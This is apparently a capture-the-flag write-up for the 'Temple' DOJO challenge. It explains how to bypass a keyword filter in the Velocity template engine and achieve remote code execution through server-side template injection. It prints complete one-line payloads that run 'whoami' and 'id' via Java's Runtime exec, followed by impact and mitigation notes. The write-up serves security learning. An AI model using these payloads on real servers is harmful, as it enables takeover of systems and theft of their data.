Featured image of post Temple - DOJO n°28

Temple - DOJO n°28

📜 Description

The purpose of this challenge is to perform a remote code execution (RCE) using a Velocity Server-Side Template Injection (SSTI)

Velocity is a Java-based template engine that helps separate presentation and business logic in web development. It allows for easy template creation and dynamic data population, enhancing code organization and maintainability.

Here is the implemented filter that prevents us from using functions and variables in the traditional way, such as #set() or $test for exemple, which will be replaced by 5earch0nGoogl3.

🕵️ Proof of Concept

To use functions bypassing the filter, we can use functions in the form of #{function_name}()

When using directives like #set(), for example, it is possible to use the formal notation, such as #{set()}.

Source : https://velocity.apache.org/engine/2.3/vtl-reference.html#set-establishes-the-value-of-a-reference

To use variables bypassing the filter, we can use variables in the form of $!var

The ! is known as the “quiet reference” or “safe reference”. It also references the variable, but if the variable is null, it will not throw an error. Instead, it will output nothing, similar to $var.

Source : https://velocity.apache.org/engine/2.3/vtl-reference.html#variables

For exemple, the following payload :

1
#{set}($!owned="owned_by_owne")$!owned

will result as :

A classic Velocity Payload to RCE :

1
2
3
4
5
6
7
8
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

This payload leverages Velocity’s abilities to interact with Java classes to execute the whoami command on the server, retrieve the output, and process it character by character.

So, we modify the Payload by adding the function and variable bypasses, and we put everything on one line :

1
#{set}($!str=$!class.inspect("java.lang.String").type)#{set}($!chr=$!class.inspect("java.lang.Character").type)#{set}($!ex=$!class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$!ex.waitFor()#{set}($!out=$!ex.getInputStream())#{foreach}($!i in [1..$!out.available()])$!str.valueOf($!chr.toChars($!out.read()))#{end}

We execute the payload, and here is the result :

We have successfully achieved Remote Code Execution (RCE).

Thanks to the author for this awesome challenge!

🚧 IMPACTS

A remote code execution could allow an attacker to :

Execute OS commands. Read/Edit/Delete files. Steal secrets. Server takeover. Perform malicious tasks from the victim server. Perform scan on the internal network. …

🔐 MITIGATIONS

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

📚 REFERENCES

Arbitrary code execution CWE-20: Improper Input Validation CWE-94: Improper Control of Generation of Code (‘Code Injection’)

Licensed under CC BY-NC-SA 4.0